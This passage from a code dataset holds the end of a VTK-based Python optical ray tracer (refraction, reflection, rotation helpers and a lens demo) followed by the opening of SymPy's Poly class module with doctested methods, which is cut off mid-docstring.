calcVecReflect(vecInc, normallensA) vecRef = calcVecRefract(vecInc / np.linalg.norm(vecInc), normalsurf2, surface1['rn'], surface2['rn']) refract_vectors.InsertNextTuple(vecRef) # Calculate the 'target' of the reflected ray based on 'RayCastLength' # pointRayReflectedTarget = list(np.asarray(pointsInter[0]) + RayCastLength*np.asarray(vecRef)) # # pointRayReflectedTarget = list(np.asarray(pointsInter[0]) - RayCastLength*np.asarray(vecRef)) # Render lines/rays bouncing off lensA with a 'ColorRayReflected' color # addLine(ren, pointsInter[0], pointRayReflectedTarget, ColorRay) # export normals at lens surface normalsCalcSurface2 = vtk.vtkPolyDataNormals() normalsCalcSurface2.SetInputConnection(surf2.GetOutputPort()) # Disable normal calculation at cell vertices normalsCalcSurface2.ComputePointNormalsOff() # Enable normal calculation at cell centers normalsCalcSurface2.ComputeCellNormalsOn() # Disable splitting of sharp edges normalsCalcSurface2.SplittingOff() # Disable global flipping of normal orientation normalsCalcSurface2.FlipNormalsOff() # Enable automatic determination of correct normal orientation normalsCalcSurface2.AutoOrientNormalsOn() # Perform calculation normalsCalcSurface2.Update() # Create a dummy 'vtkPolyData' to store refracted vecs refract_polydata.SetPoints(intersection_points) refract_polydata.GetPointData().SetNormals(refract_vectors) # Return data for next surface, all has been drawn ''' # Test glyphs, turned off for now glyphsa = glyphs(refract_polydata) ren.AddActor(glyphsa) ''' return intersection_points, normalsCalcSurface2, refract_polydata # get info for rays, they go through the mesh nodes. def reflect(ren, appendFilter, surface1, surface2): surf2 = surface2['surface'] pointsCellCentersSurf1 = surface1['normalpoints'] if 'refractcells' in surface1: # technically it is a bit weird that you have to specify which vectors are the right ones normalsCalcSurf1 = surface1['refractcells'] # vectors of refracted rays normalsSurf1 = normalsCalcSurf1.GetPointData().GetNormals() elif 'reflectcells' in surface1: normalsCalcSurf1 = surface1['reflectcells'] # vectors of reflected rays normalsSurf1 = normalsCalcSurf1.GetPointData().GetNormals() elif 'refractcells' not in surface1 and \ 'reflectcells' not in surface1 and \ 'normalcells' in surface1: normalsCalcSurf1 = surface1['normalcells'] # vectors of normal rays normalsSurf1 = normalsCalcSurf1.GetOutput().GetCellData().GetNormals() else: print("problem in surface 1 input parameters function refract") # If 'points' and 'source' are known, then use these. # They have to be known, otherwise the wrong order is used. So skip # prepare for raytracing obbsurf2 = vtk.vtkOBBTree() obbsurf2.SetDataSet(surf2.GetOutput()) obbsurf2.BuildLocator() # Create a new 'vtkPolyDataNormals' and connect to the target surface normalsCalcSurf2 = vtk.vtkPolyDataNormals() normalsCalcSurf2.SetInputConnection(surf2.GetOutputPort()) # Disable normal calculation at cell vertices normalsCalcSurf2.ComputePointNormalsOff() # Enable normal calculation at cell centers normalsCalcSurf2.ComputeCellNormalsOn() # Disable splitting of sharp edges normalsCalcSurf2.SplittingOff() # Disable global flipping of normal orientation for negative curvature if 'curv' in surface2: if surface2['curv'] is 'positive': normalsCalcSurf2.FlipNormalsOff() elif surface2['curv'] is 'negative': normalsCalcSurf2.FlipNormalsOn() else: print("Problem in surface 2 input parameter curve, function refract") # Enable automatic determination of correct normal orientation normalsCalcSurf2.AutoOrientNormalsOn() # Perform calculation normalsCalcSurf2.Update() # Extract the normal-vector data at the target surface normalsSurf2 = normalsCalcSurf2.GetOutput().GetCellData().GetNormals() # where intersections are found intersection_points = vtk.vtkPoints() # vectors where intersections are found normal_vectors = vtk.vtkDoubleArray() normal_vectors.SetNumberOfComponents(3) # normals of refracted vectors reflect_vectors = vtk.vtkDoubleArray() reflect_vectors.SetNumberOfComponents(3) reflect_polydata = vtk.vtkPolyData() # Loop through all of Source's cell-centers for idx in range(pointsCellCentersSurf1.GetNumberOfPoints()): # Get coordinates of Source's cell center pointSurf1 = pointsCellCentersSurf1.GetPoint(idx) # Get normal vector at that cell normalsurf1 = normalsSurf1.GetTuple(idx) # Calculate the 'target' of the ray based on 'RayCastLength' pointRaySurf2 = list(np.asarray(pointSurf1) + RayCastLength * np.asarray(normalsurf1)) # Check if there are any intersections for the given ray if isHit(obbsurf2, pointSurf1, pointRaySurf2): # Retrieve coordinates of intersection points and intersected cell ids pointsInter, cellIdsInter = getIntersect(obbsurf2, pointSurf1, pointRaySurf2) # Render lines/rays emanating from the Source. Rays that intersect are addLine(ren, appendFilter, pointSurf1, pointsInter[0], ColorRay, opacity=0.25) # Render intersection points addPoint(ren, pointsInter[0], ColorRay) # Get the normal vector at the surf2 cell that intersected with the ray normalsurf2 = normalsSurf2.GetTuple(cellIdsInter[0]) # Insert the coordinates of the intersection point in the dummy container intersection_points.InsertNextPoint(pointsInter[0]) # Insert the normal vector of the intersection cell in the dummy container normal_vectors.InsertNextTuple(normalsurf2) # Calculate the incident ray vector vecInc = list(np.asarray(pointRaySurf2) - np.asarray(pointSurf1)) # Calculate the reflected ray vector vecRef = calcVecReflect(vecInc / np.linalg.norm(vecInc), normalsurf2) # vecRef = calcVecRefract(vecInc/np.linalg.norm(vecInc), normalsurf2, surface1['rn'], surface2['rn']) reflect_vectors.InsertNextTuple(vecRef) # Calculate the 'target' of the reflected ray based on 'RayCastLength' # pointRayReflectedTarget = list(np.asarray(pointsInter[0]) + RayCastLength*np.asarray(vecRef)) # pointRayReflectedTarget = list(np.asarray(pointsInter[0]) - RayCastLength*np.asarray(vecRef)) # Render lines/rays bouncing off lensA with a 'ColorRayReflected' color # addLine(ren, pointsInter[0], pointRayReflectedTarget, ColorRay) # Export normals at surface normalsCalcSurface2 = vtk.vtkPolyDataNormals() normalsCalcSurface2.SetInputConnection(surf2.GetOutputPort()) # Disable normal calculation at cell vertices normalsCalcSurface2.ComputePointNormalsOff() # Enable normal calculation at cell centers normalsCalcSurface2.ComputeCellNormalsOn() # Disable splitting of sharp edges normalsCalcSurface2.SplittingOff() # Disable global flipping of normal orientation normalsCalcSurface2.FlipNormalsOff() # Enable automatic determination of correct normal orientation normalsCalcSurface2.AutoOrientNormalsOn() # Perform calculation normalsCalcSurface2.Update() # Create a dummy 'vtkPolyData' to store refracted vecs reflect_polydata.SetPoints(intersection_points) reflect_polydata.GetPointData().SetNormals(reflect_vectors) # Return data for next surface, all has been drawn '''# Test glyphs, turned off for now glyphsa = glyphs(refract_polydata) ren.AddActor(glyphsa) ''' return intersection_points, normalsCalcSurface2, reflect_polydata def random_quaternion(rand=None): """Return uniform random unit quaternion. rand: array like or None Three independent random variables that are uniformly distributed between 0 and 1. >>> q = random_quaternion() >>> np.allclose(1, np.linalg.norm(q)) True >>> q = random_quaternion(np.random.random(3)) >>> len(q.shape), q.shape[0]==4 (1, True) @author: Christoph Gohlke """ if rand is None: rand = np.random.rand(3) else: assert len(rand) == 3 r1 = np.sqrt(1.0 - rand[0]) r2 = np.sqrt(rand[0]) pi2 = np.pi * 2.0 t1 = pi2 * rand[1] t2 = pi2 * rand[2] return np.array([np.cos(t2) * r2, np.sin(t1) * r1, np.cos(t1) * r1, np.sin(t2) * r2]) def quaternion_matrix(quaternion, EPS=np.finfo(float).eps * 4.0): """Return homogeneous rotation matrix from quaternion. >>> M = quaternion_matrix([0.99810947, 0.06146124, 0, 0]) >>> np.allclose(M, rotation_matrix(0.123, [1, 0, 0])) True >>> M = quaternion_matrix([1, 0, 0, 0]) >>> np.allclose(M, np.identity(4)) True >>> M = quaternion_matrix([0, 1, 0, 0]) >>> np.allclose(M, np.diag([1, -1, -1, 1])) True @author: Christoph Gohlke """ q = np.array(quaternion, dtype=np.float64, copy=True) n = np.dot(q, q) if n < EPS: return np.identity(4) q *= np.sqrt(2.0 / n) q = np.outer(q, q) return np.array([ [1.0 - q[2, 2] - q[3, 3], q[1, 2] - q[3, 0], q[1, 3] + q[2, 0], 0.0], [q[1, 2] + q[3, 0], 1.0 - q[1, 1] - q[3, 3], q[2, 3] - q[1, 0], 0.0], [q[1, 3] - q[2, 0], q[2, 3] + q[1, 0], 1.0 - q[1, 1] - q[2, 2], 0.0], [0.0, 0.0, 0.0, 1.0]]) def random_rotation_matrix(rand=None): """Return uniform random rotation matrix. rand: array like Three independent random variables that are uniformly distributed between 0 and 1 for each returned quaternion. >>> R = random_rotation_matrix() >>> np.allclose(np.dot(R.T, R), np.identity(4)) True @author: Christoph Gohlke """ return quaternion_matrix(random_quaternion(rand)) def is_same_transform(matrix0, matrix1): """Return True if two matrices perform same transformation. >>> import numpy as np >>> is_same_transform(np.identity(4), np.identity(4)) True >>> is_same_transform(np.identity(4), random_rotation_matrix()) False @author: Christoph Gohlke """ matrix0 = np.array(matrix0, dtype=np.float64, copy=True) matrix0 /= matrix0[3, 3] matrix1 = np.array(matrix1, dtype=np.float64, copy=True) matrix1 /= matrix1[3, 3] return np.allclose(matrix0, matrix1) def unit_vector(data, axis=None, out=None): """Return ndarray normalized by length, i.e. Euclidean norm, along axis. >>> import numpy as np >>> v0 = np.random.random(3) >>> v1 = unit_vector(v0) >>> np.allclose(v1, v0 / np.linalg.norm(v0)) True >>> v0 = np.random.rand(5, 4, 3) >>> v1 = unit_vector(v0, axis=-1) >>> v2 = v0 / np.expand_dims(np.sqrt(np.sum(v0*v0, axis=2)), 2) >>> np.allclose(v1, v2) True >>> v1 = unit_vector(v0, axis=1) >>> v2 = v0 / np.expand_dims(np.sqrt(np.sum(v0*v0, axis=1)), 1) >>> np.allclose(v1, v2) True >>> v1 = np.empty((5, 4, 3)) >>> unit_vector(v0, axis=1, out=v1) >>> np.allclose(v1, v2) True >>> list(unit_vector([])) [] >>> list(unit_vector([1])) [1.0] @author: Christoph Gohlke """ if out is None: data = np.array(data, dtype=np.float64, copy=True) if data.ndim == 1: data /= np.sqrt(np.dot(data, data)) return data else: if out is not data: out[:] = np.array(data, copy=False) data = out length = np.atleast_1d(np.sum(data * data, axis)) np.sqrt(length, length) if axis is not None: length = np.expand_dims(length, axis) data /= length if out is None: return data def rotation_matrix(angle, direction, point=None): """Return matrix to rotate about axis defined by point and direction. >>> import numpy as np >>> R = rotation_matrix(np.pi/2, [0, 0, 1], [1, 0, 0]) >>> np.allclose(np.dot(R, [0, 0, 0, 1]), [1, -1, 0, 1]) True >>> angle = (np.random.random() - 0.5) * (2*np.pi) >>> direc = np.random.random(3) - 0.5 >>> point = np.random.random(3) - 0.5 >>> R0 = rotation_matrix(angle, direc, point) >>> R1 = rotation_matrix(angle-2*np.pi, direc, point) >>> is_same_transform(R0, R1) True >>> R0 = rotation_matrix(angle, direc, point) >>> R1 = rotation_matrix(-angle, -direc, point) >>> is_same_transform(R0, R1) True >>> I = np.identity(4, np.float64) >>> np.allclose(I, rotation_matrix(np.pi*2, direc)) True >>> np.allclose(2, np.trace(rotation_matrix(np.pi/2, ... direc, point))) True @author: Christoph Gohlke """ sina = np.sin(angle) cosa = np.cos(angle) direction = unit_vector(direction[:3]) # rotation matrix around unit vector R = np.diag([cosa, cosa, cosa]) R += np.outer(direction, direction) * (1.0 - cosa) direction *= sina R += np.array([[+0.0, -direction[2], +direction[1]], [+direction[2], +0.0, -direction[0]], [-direction[1], +direction[0], +0.0]]) M = np.identity(4) M[:3, :3] = R if point is not None: # rotation not around origin point = np.array(point[:3], dtype=np.float64, copy=False) M[:3, 3] = point - np.dot(R, point) return M def Cartesian2Spherical(xyz): ptsnew = np.empty(np.shape(xyz)) ptsnew[:, 0] = np.sqrt(xyz[:, 0]**2 + xyz[:, 1]**2 + xyz[:, 2]**2) ptsnew[:, 1] = np.arccos(xyz[:, 2] / np.sqrt(xyz[:, 0]**2 + xyz[:, 1]**2 + xyz[:, 2]**2)) # for elevation angle defined from Z-axis down ptsnew[:, 2] = np.arctan2(xyz[:, 1], xyz[:, 0]) return ptsnew def Spherical2Cartesian(rtp): ptsnew = np.empty(np.shape(rtp)) ptsnew[:, 0] = rtp[:, 0] * np.sin(rtp[:, 1]) * np.cos(rtp[:, 2]) ptsnew[:, 1] = rtp[:, 0] * np.sin(rtp[:, 1]) * np.sin(rtp[:, 2]) ptsnew[:, 2] = rtp[:, 0] * np.cos(rtp[:, 1]) return ptsnew def run(surfaces, project, Directory, scene, plot=False): # Write output to vtp file writer = vtk.vtkXMLPolyDataWriter() filename = Directory + project + "%04d.vtp" % scene writer.SetFileName(filename) appendFilter = vtk.vtkAppendPolyData() # Create a render window ren = vtk.vtkRenderer() renWin = vtk.vtkRenderWindow() renWin.AddRenderer(ren) renWin.SetSize(600, 600) iren = vtk.vtkRenderWindowInteractor() iren.SetRenderWindow(renWin) iren.Initialize() rays = dict() for srf in surfaces: # Fill the scene if srf['type'] == 'source': # Draw source srf['surface'], srf['normalpoints'], srf['normalcells'] = \ vtkspheresource(ren, appendFilter, srf) # Also draw glyphs to see where lines are going glyphnormals(ren, srf['normalcells']) renWin.Render() elif srf['type'] == 'lens' and 'normalcells' in rays: # Draw refractive surfaces srf['surface'] = vtklenssurface(ren, appendFilter, srf) renWin.Render() srf['normalpoints'], srf['normalcells'], srf['refractcells'] = \ refract(ren, appendFilter, rays, srf) renWin.Render() elif srf['type'] == 'screen' and 'normalcells' in rays: # Draw screen srf['surface'] = vtkscreen(ren, appendFilter, srf) renWin.Render() srf['normalpoints'], srf['normalcells'], srf['reflectcells'] = \ reflect(ren, appendFilter, rays, srf) renWin.Render() # Now plot the screen using matplotlib if plot: # Get list from screen reflect cells plotlist = range(srf['normalpoints'].GetNumberOfPoints()) for idx in range(srf['normalpoints'].GetNumberOfPoints()): plotlist[idx] = srf['normalpoints'].GetPoint(idx)[0:2] plt.plot([cc[0] for cc in plotlist], [cc[1] for cc in plotlist], '.') rays = srf.copy() point = vtk.vtkSphereSource() point.SetRadius(1) point.SetCenter(0.0, 0.0, 30.0) pointm = vtk.vtkPolyDataMapper() if vtk.VTK_MAJOR_VERSION < 6: pointm.SetInput(point.GetOutput()) else: pointm.SetInputData(point.GetOutput()) pointa = vtk.vtkActor() pointa.SetMapper(pointm) ren.AddActor(pointa) renWin.Render() ''' # export scene to image w2if = vtk.vtkWindowToImageFilter() w2if.SetInput(renWin) w2if.Update() writer = vtk.vtkPNGWriter() writer.SetFileName(Directory+project+"%04d.png" % Scene) writer.SetInput(w2if.GetOutput()) writer.Write() ''' # Write output to vtp file polydatacontainer = appendFilter if vtk.VTK_MAJOR_VERSION < 6: writer.SetInput(polydatacontainer.GetOutput()) else: writer.SetInputData(polydatacontainer.GetOutput()) writer.Write() # Check results in viewer, by exit screen, proceed iren.Start() def demos(): import os surfaces = [{'type': 'source', 'fp': 1e3, 'diam': 10, 'resolution': 4, 'rn': 1.0}, {'type': 'lens', 'fp': 75, 'diam': 25, 'location': [0.0, 0.0, 30], 'rn': 1.5, 'curv': 'positive'}, # a positive curvature means the focal point is further from the source than the location {'type': 'lens', 'fp': 75, 'diam': 25, 'location': [0.0, 0.0, 33], 'rn': 1.0, 'curv': 'negative'}, # a positive curvature means the focal point is further from the source than the location {'type': 'screen', 'width': 50, 'height': 50, 'center': [0.0, 0.0, 130.0], # Only using z, I can still only deal with center axis optics 'normal': [0.0, 0.0, -1.0]}] # Not using, the screen is normal on the central axis project = 'test' Directory = os.getcwd() Scene = 0 run(surfaces, project, Directory, Scene, plot=False) Scene = 1 surfaces[1]['location'] = [0.0, 2.0, 30] surfaces[2]['location'] = [0.0, 2.0, 33] run(surfaces, project, Directory, Scene, plot=False) Scene = 2 surfaces[1]['location'] = [0.0, 4.0, 30] surfaces[2]['location'] = [0.0, 4.0, 33] run(surfaces, project, Directory, Scene, plot=False) if __name__ == '__main__': demos()
Gjacquenot/PyRayTracer
raytracer/raytracer.py
Python
mit
36,942
[ "VTK" ]
26d23ec202752f4206562a6d2709688daae90e04f4d62813a0a9592aad249e07
"""User-friendly public interface to polynomial functions. """ from sympy.core import ( S, Basic, Expr, I, Integer, Add, Mul, Dummy, Tuple, Rational ) from sympy.core.mul import _keep_coeff from sympy.core.basic import preorder_traversal from sympy.core.sympify import ( sympify, SympifyError, ) from sympy.core.decorators import ( _sympifyit, ) from sympy.polys.polyclasses import DMP from sympy.polys.polyutils import ( basic_from_dict, _sort_gens, _unify_gens, _dict_reorder, _dict_from_expr, _parallel_dict_from_expr, ) from sympy.polys.rationaltools import ( together, ) from sympy.polys.rootisolation import ( dup_isolate_real_roots_list, ) from sympy.polys.groebnertools import groebner as _groebner from sympy.polys.fglmtools import matrix_fglm from sympy.polys.monomialtools import ( Monomial, monomial_key, ) from sympy.polys.polyerrors import ( OperationNotSupported, DomainError, CoercionFailed, UnificationFailed, GeneratorsNeeded, PolynomialError, MultivariatePolynomialError, ExactQuotientFailed, PolificationFailed, ComputationFailed, GeneratorsError, ) from sympy.utilities import group import sympy.polys import sympy.mpmath from sympy.polys.domains import FF, QQ from sympy.polys.constructor import construct_domain from sympy.polys import polyoptions as options from sympy.core.compatibility import iterable class Poly(Expr): """Generic class for representing polynomial expressions. """ __slots__ = ['rep', 'gens'] is_commutative = True is_Poly = True def __new__(cls, rep, *gens, **args): """Create a new polynomial instance out of something useful. """ opt = options.build_options(gens, args) if 'order' in opt: raise NotImplementedError("'order' keyword is not implemented yet") if iterable(rep, exclude=str): if isinstance(rep, dict): return cls._from_dict(rep, opt) else: return cls._from_list(list(rep), opt) else: rep = sympify(rep) if rep.is_Poly: return cls._from_poly(rep, opt) else: return cls._from_expr(rep, opt) @classmethod def new(cls, rep, *gens): """Construct :class:`Poly` instance from raw representation. """ if not isinstance(rep, DMP): raise PolynomialError( "invalid polynomial representation: %s" % rep) elif rep.lev != len(gens) - 1: raise PolynomialError("invalid arguments: %s, %s" % (rep, gens)) obj = Basic.__new__(cls) obj.rep = rep obj.gens = gens return obj @classmethod def from_dict(cls, rep, *gens, **args): """Construct a polynomial from a ``dict``. """ opt = options.build_options(gens, args) return cls._from_dict(rep, opt) @classmethod def from_list(cls, rep, *gens, **args): """Construct a polynomial from a ``list``. """ opt = options.build_options(gens, args) return cls._from_list(rep, opt) @classmethod def from_poly(cls, rep, *gens, **args): """Construct a polynomial from a polynomial. """ opt = options.build_options(gens, args) return cls._from_poly(rep, opt) @classmethod def from_expr(cls, rep, *gens, **args): """Construct a polynomial from an expression. """ opt = options.build_options(gens, args) return cls._from_expr(rep, opt) @classmethod def _from_dict(cls, rep, opt): """Construct a polynomial from a ``dict``. """ gens = opt.gens if not gens: raise GeneratorsNeeded( "can't initialize from 'dict' without generators") level = len(gens) - 1 domain = opt.domain if domain is None: domain, rep = construct_domain(rep, opt=opt) else: for monom, coeff in rep.iteritems(): rep[monom] = domain.convert(coeff) return cls.new(DMP.from_dict(rep, level, domain), *gens) @classmethod def _from_list(cls, rep, opt): """Construct a polynomial from a ``list``. """ gens = opt.gens if not gens: raise GeneratorsNeeded( "can't initialize from 'list' without generators") elif len(gens) != 1: raise MultivariatePolynomialError( "'list' representation not supported") level = len(gens) - 1 domain = opt.domain if domain is None: domain, rep = construct_domain(rep, opt=opt) else: rep = map(domain.convert, rep) return cls.new(DMP.from_list(rep, level, domain), *gens) @classmethod def _from_poly(cls, rep, opt): """Construct a polynomial from a polynomial. """ if cls != rep.__class__: rep = cls.new(rep.rep, *rep.gens) gens = opt.gens field = opt.field domain = opt.domain if gens and rep.gens != gens: if set(rep.gens) != set(gens): return cls._from_expr(rep.as_expr(), opt) else: rep = rep.reorder(*gens) if 'domain' in opt and domain: rep = rep.set_domain(domain) elif field is True: rep = rep.to_field() return rep @classmethod def _from_expr(cls, rep, opt): """Construct a polynomial from an expression. """ rep, opt = _dict_from_expr(rep, opt) return cls._from_dict(rep, opt) def _hashable_content(self): """Allow SymPy to hash Poly instances. """ return (self.rep, self.gens) def __hash__(self): return super(Poly, self).__hash__() @property def free_symbols(self): """ Free symbols of a polynomial expression. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(x**2 + 1).free_symbols set([x]) >>> Poly(x**2 + y).free_symbols set([x, y]) >>> Poly(x**2 + y, x).free_symbols set([x, y]) """ symbols = set([]) for gen in self.gens: symbols |= gen.free_symbols return symbols | self.free_symbols_in_domain @property def free_symbols_in_domain(self): """ Free symbols of the domain of ``self``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(x**2 + 1).free_symbols_in_domain set() >>> Poly(x**2 + y).free_symbols_in_domain set() >>> Poly(x**2 + y, x).free_symbols_in_domain set([y]) """ domain, symbols = self.rep.dom, set() if domain.is_Composite: for gen in domain.gens: symbols |= gen.free_symbols elif domain.is_EX: for coeff in self.coeffs(): symbols |= coeff.free_symbols return symbols @property def args(self): """ Don't mess up with the core. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 + 1, x).args (x**2 + 1,) """ return (self.as_expr(),) @property def gen(self): """ Return the principal generator. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 + 1, x).gen x """ return self.gens[0] @property def domain(self): """Get the ground domain of ``self``. """ return self.get_domain() @property def zero(self): """Return zero polynomial with ``self``'s properties. """ return self.new(self.rep.zero(self.rep.lev, self.rep.dom), *self.gens) @property def one(self): """Return one polynomial with ``self``'s properties. """ return self.new(self.rep.one(self.rep.lev, self.rep.dom), *self.gens) @property def unit(self): """Return unit polynomial with ``self``'s properties. """ return self.new(self.rep.unit(self.rep.lev, self.rep.dom), *self.gens) def unify(f, g): """ Make ``f`` and ``g`` belong to the same domain. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> f, g = Poly(x/2 + 1), Poly(2*x + 1) >>> f Poly(1/2*x + 1, x, domain='QQ') >>> g Poly(2*x + 1, x, domain='ZZ') >>> F, G = f.unify(g) >>> F Poly(1/2*x + 1, x, domain='QQ') >>> G Poly(2*x + 1, x, domain='QQ') """ _, per, F, G = f._unify(g) return per(F), per(G) def _unify(f, g): g = sympify(g) if not g.is_Poly: try: return f.rep.dom, f.per, f.rep, f.rep.per(f.rep.dom.from_sympy(g)) except CoercionFailed: raise UnificationFailed("can't unify %s with %s" % (f, g)) if isinstance(f.rep, DMP) and isinstance(g.rep, DMP): gens = _unify_gens(f.gens, g.gens) dom, lev = f.rep.dom.unify(g.rep.dom, gens), len(gens) - 1 if f.gens != gens: f_monoms, f_coeffs = _dict_reorder( f.rep.to_dict(), f.gens, gens) if f.rep.dom != dom: f_coeffs = [ dom.convert(c, f.rep.dom) for c in f_coeffs ] F = DMP(dict(zip(f_monoms, f_coeffs)), dom, lev) else: F = f.rep.convert(dom) if g.gens != gens: g_monoms, g_coeffs = _dict_reorder( g.rep.to_dict(), g.gens, gens) if g.rep.dom != dom: g_coeffs = [ dom.convert(c, g.rep.dom) for c in g_coeffs ] G = DMP(dict(zip(g_monoms, g_coeffs)), dom, lev) else: G = g.rep.convert(dom) else: raise UnificationFailed("can't unify %s with %s" % (f, g)) cls = f.__class__ def per(rep, dom=dom, gens=gens, remove=None): if remove is not None: gens = gens[:remove] + gens[remove + 1:] if not gens: return dom.to_sympy(rep) return cls.new(rep, *gens) return dom, per, F, G def per(f, rep, gens=None, remove=None): """ Create a Poly out of the given representation. Examples ======== >>> from sympy import Poly, ZZ >>> from sympy.abc import x, y >>> from sympy.polys.polyclasses import DMP >>> a = Poly(x**2 + 1) >>> a.per(DMP([ZZ(1), ZZ(1)], ZZ), gens=[y]) Poly(y + 1, y, domain='ZZ') """ if gens is None: gens = f.gens if remove is not None: gens = gens[:remove] + gens[remove + 1:] if not gens: return f.rep.dom.to_sympy(rep) return f.__class__.new(rep, *gens) def set_domain(f, domain): """Set the ground domain of ``f``. """ opt = options.build_options(f.gens, {'domain': domain}) return f.per(f.rep.convert(opt.domain)) def get_domain(f): """Get the ground domain of ``f``. """ return f.rep.dom def set_modulus(f, modulus): """ Set the modulus of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(5*x**2 + 2*x - 1, x).set_modulus(2) Poly(x**2 + 1, x, modulus=2) """ modulus = options.Modulus.preprocess(modulus) return f.set_domain(FF(modulus)) def get_modulus(f): """ Get the modulus of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**2 + 1, modulus=2).get_modulus() 2 """ domain = f.get_domain() if domain.is_FiniteField: return Integer(domain.characteristic()) else: raise PolynomialError("not a polynomial over a Galois field") def _eval_subs(f, old, new): """Internal implementation of :func:`subs`. """ if old in f.gens: if new.is_number: return f.eval(old, new) else: try: return f.replace(old, new) except PolynomialError: pass return f.as_expr().subs(old, new) def exclude(f): """ Remove unnecessary generators from ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import a, b, c, d, x >>> Poly(a + x, a, b, c, d, x).exclude() Poly(a + x, a, x, domain='ZZ') """ J, new = f.rep.exclude() gens = [] for j in range(len(f.gens)): if j not in J: gens.append(f.gens[j]) return f.per(new, gens=gens) def replace(f, x, y=None): """ Replace ``x`` with ``y`` in generators list. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(x**2 + 1, x).replace(x, y) Poly(y**2 + 1, y, domain='ZZ') """ if y is None: if f.is_univariate: x, y = f.gen, x else: raise PolynomialError( "syntax supported only in univariate case") if x == y: return f if x in f.gens and y not in f.gens: dom = f.get_domain() if not dom.is_Composite or y not in dom.gens: gens = list(f.gens) gens[gens.index(x)] = y return f.per(f.rep, gens=gens) raise PolynomialError("can't replace %s with %s in %s" % (x, y, f)) def reorder(f, *gens, **args): """ Efficiently apply new order of generators. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(x**2 + x*y**2, x, y).reorder(y, x) Poly(y**2*x + x**2, y, x, domain='ZZ') """ opt = options.Options((), args) if not gens: gens = _sort_gens(f.gens, opt=opt) elif set(f.gens) != set(gens): raise PolynomialError( "generators list can differ only up to order of elements") rep = dict(zip(*_dict_reorder(f.rep.to_dict(), f.gens, gens))) return f.per(DMP(rep, f.rep.dom, len(gens) - 1), gens=gens) def ltrim(f, gen): """ Remove dummy generators from the "left" of ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y, z >>> Poly(y**2 + y*z**2, x, y, z).ltrim(y) Poly(y**2 + y*z**2, y, z, domain='ZZ') """ rep = f.as_dict(native=True) j = f._gen_to_level(gen) terms = {} for monom, coeff in rep.iteritems(): monom = monom[j:] if monom not in terms: terms[monom] = coeff else: raise PolynomialError("can't left trim %s" % f) gens = f.gens[j:] return f.new(DMP.from_dict(terms, len(gens) - 1, f.rep.dom), *gens) def has_only_gens(f, *gens): """ Return ``True`` if ``Poly(f, *gens)`` retains ground domain. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y, z >>> Poly(x*y + 1, x, y, z).has_only_gens(x, y) True >>> Poly(x*y + z, x, y, z).has_only_gens(x, y) False """ f_gens = list(f.gens) indices = set([]) for gen in gens: try: index = f_gens.index(gen) except ValueError: raise GeneratorsError( "%s doesn't have %s as generator" % (f, gen)) else: indices.add(index) for monom in f.monoms(): for i, elt in enumerate(monom): if i not in indices and elt: return False return True def to_ring(f): """ Make the ground domain a ring. Examples ======== >>> from sympy import Poly, QQ >>> from sympy.abc import x >>> Poly(x**2 + 1, domain=QQ).to_ring() Poly(x**2 + 1, x, domain='ZZ') """ if hasattr(f.rep, 'to_ring'): result = f.rep.to_ring() else: # pragma: no cover raise OperationNotSupported(f, 'to_ring') return f.per(result) def to_field(f): """ Make the ground domain a field. Examples ======== >>> from sympy import Poly, ZZ >>> from sympy.abc import x >>> Poly(x**2 + 1, x, domain=ZZ).to_field() Poly(x**2 + 1, x, domain='QQ') """ if hasattr(f.rep, 'to_field'): result = f.rep.to_field() else: # pragma: no cover raise OperationNotSupported(f, 'to_field') return f.per(result) def to_exact(f): """ Make the ground domain exact. Examples ======== >>> from sympy import Poly, RR >>> from sympy.abc import x >>> Poly(x**2 + 1.0, x, domain=RR).to_exact() Poly(x**2 + 1, x, domain='QQ') """ if hasattr(f.rep, 'to_exact'): result = f.rep.to_exact() else: # pragma: no cover raise OperationNotSupported(f, 'to_exact') return f.per(result) def retract(f, field=None): """ Recalculate the ground domain of a polynomial. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> f = Poly(x**2 + 1, x, domain='QQ[y]') >>> f Poly(x**2 + 1, x, domain='QQ[y]') >>> f.retract() Poly(x**2 + 1, x, domain='ZZ') >>> f.retract(field=True) Poly(x**2 + 1, x, domain='QQ') """ dom, rep = construct_domain(f.as_dict(zero=True), field=field) return f.from_dict(rep, f.gens, domain=dom) def slice(f, x, m, n=None): """Take a continuous subsequence of terms of ``f``. """ if n is None: j, m, n = 0, x, m else: j = f._gen_to_level(x) m, n = int(m), int(n) if hasattr(f.rep, 'slice'): result = f.rep.slice(m, n, j) else: # pragma: no cover raise OperationNotSupported(f, 'slice') return f.per(result) def coeffs(f, order=None): """ Returns all non-zero coefficients from ``f`` in lex order. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**3 + 2*x + 3, x).coeffs() [1, 2, 3] See Also ======== all_coeffs coeff_monomial nth """ return [ f.rep.dom.to_sympy(c) for c in f.rep.coeffs(order=order) ] def monoms(f, order=None): """ Returns all non-zero monomials from ``f`` in lex order. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(x**2 + 2*x*y**2 + x*y + 3*y, x, y).monoms() [(2, 0), (1, 2), (1, 1), (0, 1)] See Also ======== all_monoms """ return f.rep.monoms(order=order) def terms(f, order=None): """ Returns all non-zero terms from ``f`` in lex order. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x, y >>> Poly(x**2 + 2*x*y**2 + x*y + 3*y, x, y).terms() [((2, 0), 1), ((1, 2), 2), ((1, 1), 1), ((0, 1), 3)] See Also ======== all_terms """ return [ (m, f.rep.dom.to_sympy(c)) for m, c in f.rep.terms(order=order) ] def all_coeffs(f): """ Returns all coefficients from a univariate polynomial ``f``. Examples ======== >>> from sympy import Poly >>> from sympy.abc import x >>> Poly(x**3 + 2*x - 1, 